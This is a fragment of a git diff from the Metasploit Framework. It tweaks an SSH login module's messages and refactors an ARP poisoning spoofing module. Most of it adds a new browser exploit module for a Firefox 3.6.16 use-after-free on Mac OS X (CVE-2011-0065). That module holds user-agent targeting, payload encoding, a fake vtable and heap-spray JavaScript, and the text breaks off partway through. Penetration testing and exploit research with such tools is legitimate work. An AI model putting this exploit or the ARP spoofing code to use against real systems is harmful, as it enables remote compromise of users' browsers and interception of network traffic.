+ do_report(ip, rport, user, proof)
:next_user
when :connection_error
- vprint_error "#{ip}:#{rport} - SSH - Could not connect"
+ vprint_error "#{ip}:#{rport} SSH - Could not connect"
:abort
when :connection_disconnect
- vprint_error "#{ip}:#{rport} - SSH - Connection timed out"
+ vprint_error "#{ip}:#{rport} SSH - Connection timed out"
:abort
when :fail
- vprint_error "#{ip}:#{rport} - SSH - Failed: '#{user}'"
+ vprint_error "#{ip}:#{rport} SSH - Failed: '#{user}'"
when :missing_keyfile
- vprint_error "#{ip}:#{rport} - SSH - Cannot read keyfile."
+ vprint_error "#{ip}:#{rport} SSH - Cannot read keyfile."
when :no_valid_keys
- vprint_error "#{ip}:#{rport} - SSH - No cleartext keys in keyfile."
+ vprint_error "#{ip}:#{rport} SSH - No cleartext keys in keyfile."
end
end
end
diff --git a/modules/auxiliary/spoof/arp/arp_poisoning.rb b/modules/auxiliary/spoof/arp/arp_poisoning.rb
index ba3a24e9a0..2fb788900c 100644
--- a/modules/auxiliary/spoof/arp/arp_poisoning.rb
+++ b/modules/auxiliary/spoof/arp/arp_poisoning.rb
@@ -83,20 +83,20 @@ class Metasploit3 < Msf::Auxiliary
@interface = get_interface_guid(@interface)
@smac = datastore['SMAC']
@smac ||= get_mac(@interface) if @netifaces
- raise RuntimeError ,'Source Mac should be defined' unless @smac
- raise RuntimeError ,'Source Mac is not in correct format' unless is_mac?(@smac)
+ raise RuntimeError ,'SMAC is not defined and can not be guessed' unless @smac
+ raise RuntimeError ,'Source MAC is not in correct format' unless is_mac?(@smac)
@sip = datastore['LOCALSIP']
@sip ||= Pcap.lookupaddrs(@interface)[0] if @netifaces
- raise "LOCALIP is not defined and can not be guessed" unless @sip
- raise "LOCALIP is not an ipv4 address" unless is_ipv4? @sip
+ raise "LOCALSIP is not defined and can not be guessed" unless @sip
+ raise "LOCALSIP is not an ipv4 address" unless Rex::Socket.is_ipv4?(@sip)
shosts_range = Rex::Socket::RangeWalker.new(datastore['SHOSTS'])
@shosts = []
if datastore['BIDIRECTIONAL']
- shosts_range.each{|shost| if is_ipv4? shost and shost != @sip then @shosts.push shost end}
+ shosts_range.each{|shost| if Rex::Socket.is_ipv4?(shost) and shost != @sip then @shosts.push shost end}
else
- shosts_range.each{|shost| if is_ipv4? shost then @shosts.push shost end}
+ shosts_range.each{|shost| if Rex::Socket.is_ipv4?(shost) then @shosts.push shost end}
end
if datastore['BROADCAST']
@@ -178,7 +178,7 @@ class Metasploit3 < Msf::Auxiliary
dhosts_range = Rex::Socket::RangeWalker.new(datastore['DHOSTS'])
@dhosts = []
- dhosts_range.each{|dhost| if is_ipv4? dhost and dhost != @sip then @dhosts.push(dhost) end}
+ dhosts_range.each{|dhost| if Rex::Socket.is_ipv4?(dhost) and dhost != @sip then @dhosts.push(dhost) end}
#Build the local dest hosts cache
print_status("Building the destination hosts cache...")
@@ -329,12 +329,6 @@ class Metasploit3 < Msf::Auxiliary
else false end
end
- #copy paste from rex::socket cause we need only ipv4
- #NOTE: Breaks msftidy's rule on long lines, should be refactored for readability.
- def is_ipv4?(addr)
- (addr =~ /^(?:(?:25[0-5]|2[0-4][0-9]|[0-1]?[0-9]{1,2})[.](?:25[0-5]|2[0-4][0-9]|[0-1]?[0-9]{1,2})[.](?:25[0-5]|2[0-4][0-9]|[0-1]?[0-9]{1,2})[.](?:25[0-5]|2[0-4][0-9]|[0-1]?[0-9]{1,2}))$/) ? true : false
- end
-
def buildprobe(shost, smac, dhost)
p = PacketFu::ARPPacket.new
p.eth_saddr = smac
diff --git a/modules/exploits/osx/browser/mozilla_mchannel.rb b/modules/exploits/osx/browser/mozilla_mchannel.rb
new file mode 100644
index 0000000000..70ed1a5adb
--- /dev/null
+++ b/modules/exploits/osx/browser/mozilla_mchannel.rb
@@ -0,0 +1,159 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+ Rank = NormalRanking
+
+ include Msf::Exploit::Remote::HttpServer::HTML
+ include Msf::Exploit::Remote::BrowserAutopwn
+
+ autopwn_info({
+ :ua_name => HttpClients::FF,
+ :ua_minver => "3.6.16",
+ :ua_maxver => "3.6.16",
+ :os_name => OperatingSystems::MAC_OSX,
+ :javascript => true,
+ :rank => NormalRanking,
+ })
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'Mozilla Firefox 3.6.16 mChannel use after free vulnerability',
+ 'Description' => %q{
+ This module exploits an use after free vulnerability in Mozilla
+ Firefox 3.6.16. An OBJECT Element mChannel can be freed via the
+ OnChannelRedirect method of the nsIChannelEventSink Interface. mChannel
+ becomes a dangling pointer and can be reused when setting the OBJECTs
+ data attribute. (Discovered by regenrecht). Mac OS X version by argp,
+ tested on Mac OS X 10.6.6, 10.6.7 and 10.6.8.
+ },
+ 'License' => MSF_LICENSE,
+ 'Author' =>
+ [
+ 'regenrecht', # discovery
+ 'Rh0', # windows metasploit module
+ 'argp ' # mac os x target
+ ],
+ 'References' =>
+ [
+ ['CVE', '2011-0065'],
+ ['OSVDB', '72085'],
+ ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=634986'],
+ ['URL', 'http://www.mozilla.org/security/announce/2011/mfsa2011-13.html']
+ ],
+ 'Payload' =>
+ {
+ 'Space' => 1024,
+ },
+ 'Platform' => 'osx',
+ 'Targets' =>
+ [
+ [
+ 'Firefox 3.6.16 on Mac OS X (10.6.6, 10.6.7 and 10.6.8)',
+ {
+ 'Arch' => ARCH_X86,
+ 'Fakevtable' => 0x2727,
+ 'Fakefunc' => 0x2727001c,
+ }
+ ],
+ ],
+ 'DefaultTarget' => 0,
+ 'DisclosureDate' => 'May 10 2011'
+ ))
+ end
+
+ def on_request_uri(cli, request)
+ # Random JavaScript variable names
+ js_element_name = rand_text_alpha(rand(10) + 5)
+ js_obj_addr_name = rand_text_alpha(rand(10) + 5)
+ js_sc_name = rand_text_alpha(rand(10) + 5)
+ js_ret_addr_name = rand_text_alpha(rand(10) + 5)
+ js_chunk_name = rand_text_alpha(rand(10) + 5)
+ js_final_chunk_name = rand_text_alpha(rand(10) + 5)
+ js_block_name = rand_text_alpha(rand(10) + 5)
+ js_array_name = rand_text_alpha(rand(10) + 5)
+
+ # check for non vulnerable targets
+ agent = request.headers['User-Agent']
+
+ if agent !~ /Intel Mac OS X 10\.6/ and agent !~ /Firefox\/3\.6\.16/
+ print_error("Target not supported: #{agent}") if datastore['VERBOSE']
+ send_not_found(cli)
+ return
+ end
+
+ # Re-generate the payload
+ return if ((payload = regenerate_payload(cli).encoded) == nil)
+
+ payload_buf = ''
+ payload_buf << payload
+ escaped_payload = Rex::Text.to_unescape(payload_buf)
+
+ # setup the fake memory references
+ my_target = targets[0] # in case we add more targets later
+ fakevtable = Rex::Text.to_unescape([my_target['Fakevtable']].pack('v'))
+ fakefunc = Rex::Text.to_unescape([my_target['Fakefunc']].pack('V*'))
+
+ exploit_js = <<-JS
+ #{js_element_name} = document.getElementById("d");
+ #{js_element_name}.QueryInterface(Components.interfaces.nsIChannelEventSink);
+ #{js_element_name}.onChannelRedirect(null, new Object, 0)
+
+ #{js_obj_addr_name} = unescape("\x00#{fakevtable}");
+
+ var #{js_sc_name} = unescape("#{escaped_payload}");
+
+ var #{js_ret_addr_name} = unescape("#{fakefunc}");
+
+ while(#{js_ret_addr_name}.length < 0x120)
+ {
+ #{js_ret_addr_name} += #{js_ret_addr_name};
+ }
+
+ var #{js_chunk_name} = #{js_ret_addr_name}.substring(0, 0x18);
+ #{js_chunk_name} += #{js_sc_name};
+ #{js_chunk_name} += #{js_ret_addr_name};
+ var #{js_final_chunk_name} = #{js_chunk_name}.substring(0, 0x10000 / 2);
+
+ while(#{js_final_chunk_name}.length < 0x800000)
+ {
+ #{js_final_chunk_name} += #{js_final_chunk_name};
+ }
+
+ var #{js_block_name} = #{js_final_chunk_name}.substring(0, 0x80000 - #{js_sc_name}.length - 0x24 / 2 - 0x4 / 2 - 0x2 / 2);
+
+ #{js_array_name} = new Array()
+
+ for(n = 0; n < 0x220; n++)
+ {
+ #{js_array_name}[n] = #{js_block_name} + #{js_sc_name};
+ }
+ JS
+
+ html = <<-HTML
+
+
+